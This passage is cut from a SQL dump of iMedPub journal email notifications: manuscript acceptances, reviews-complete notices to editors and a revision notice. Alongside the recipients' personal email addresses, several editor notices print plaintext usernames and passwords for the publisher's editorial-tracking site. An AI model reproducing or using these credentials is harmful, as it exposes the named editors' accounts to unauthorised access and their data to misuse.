Accept','alayafihassan@gmail.com',3575,'2020-06-04',75),(1333,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4446</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge, Attitudes and Fears of HealthCare Workers towards the Corona Virus Disease (COVID-19) Pandemic in South-South, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Promise Ogolodom</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',4446,'2020-06-05',48),(1335,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3682</b><br />\r\n            <br />\r\n            Article Title: <b>Headache Associated with Chiari Malformation Type One </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Yasser Seddeg</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3682</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',3682,'2020-06-05',75),(1336,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3833</b><br />\r\n            <br />\r\n            Article Title: <b>Isolated Orthopnea in Myasthenia Gravis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jomal Mathew</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3833</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',3833,'2020-06-05',75),(1339,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3862</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge Risk Attitude Assessment Related To HIV/ AIDS among BDS Students in Chennai, Tamilnadu</b><br />\r\n            <br />\r\n            Corresponding Author: <b>RAJKUMARI SRIRAMAN</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3862</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',3862,'2020-06-05',248),(1340,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3862</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge Risk Attitude Assessment Related To HIV/ AIDS among BDS Students in Chennai, Tamilnadu</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SRIRAMAN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.rajkumari@yahoo.com',3862,'2020-06-05',248),(1341,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2777</b><br />\r\n            <br />\r\n            Article Title: <b>The Biological Activity of Aqueous and Methanolic Extracts of Juglans Regia on Yeasts and Pathologic Bacteria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>lina abbas</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2777</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',2777,'2020-06-05',248),(1344,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3825</b><br />\r\n            <br />\r\n            Article Title: <b>Application of Chest CT in the Primay Screening of COVID-19 Related High-risk Population</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ting-ting Zhout</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-3825</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3825,'2020-06-05',248),(1345,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-3825</b><br />\r\n            <br />\r\n            Article Title: <b>Application of Chest CT in the Primay Screening of COVID-19 Related High-risk Population</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Zhout</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','zhoutt20@126.com',3825,'2020-06-05',248),(1347,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3566</b><br />\r\n            <br />\r\n            Article Title: <b>Observation on posterior column sensations as predictor of neurological recovery in spinal cord injury patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>SREEJA KS</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3566</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',3566,'2020-06-05',75),(1348,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4241</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF MYELOMALACIA AND POSTERIOR LONGITUDINAL LIGAMENT OSSIFICATION AS PROGNOSTIC FACTORS IN PATIENTS WITH SPONDYLOTIC CERVICAL MYELOPATHY SUBMITTED TO LAMINOPLASTY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Desir&eacute;e Elizabeth Pasqualetto Antikievicz</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4241</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4241,'2020-06-05',75),(1349,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3808</b><br />\r\n            <br />\r\n            Article Title: <b>Proposed Phenotype for Females with a SETD5 Gene Variation: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chiang</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jenna.a.lawrenz@gmail.com',3808,'2020-06-05',75),(1350,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3812</b><br />\r\n            <br />\r\n            Article Title: <b>Global Efforts towards potential therapeutic options for COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-3812</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','jencook@email.arizona.edu',3812,'2020-06-05',85),(1351,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4017</b><br />\r\n            <br />\r\n            Article Title: <b>EXPLORING THE SECRETS OF THE CORONA VIRUS: WHAT DOES DURATION OF CONTACT MEAN IN COVID-19.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>khan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hamzakmc@gmail.com',4017,'2020-06-05',85),(1352,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3880</b><br />\r\n            <br />\r\n            Article Title: <b>Single stage procedure without fecal diversion for extraperitoneal rectovesical injury: a case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sisodiya</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rajeshnidhi@gmail.com',3880,'2020-06-05',319),(1354,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3833</b><br />\r\n            <br />\r\n            Article Title: <b>Isolated Orthopnea in Myasthenia Gravis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mathew</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mathewjomal@yahoo.co.in',3833,'2020-06-06',75),(1355,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3888</b><br />\r\n            <br />\r\n            Article Title: <b>Unusual Seizure Presentation in Early-Onset Alpers&ndash;Huttenlocher Syndrome</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohammed Almuqbil</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3888</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',3888,'2020-06-06',75),(1356,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3888</b><br />\r\n            <br />\r\n            Article Title: <b>Unusual Seizure Presentation in Early-Onset Alpers&ndash;Huttenlocher Syndrome</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Almuqbil</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','muqbilm@ksau-hs.edu.sa',3888,'2020-06-06',75),(1360,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3888</b><br />\r\n            <br />\r\n            Article Title: <b>Unusual Seizure Presentation in Early-Onset Alpers&ndash;Huttenlocher Syndrome</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohammed Almuqbil</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3888</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',3888,'2020-06-06',75),(1362,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td 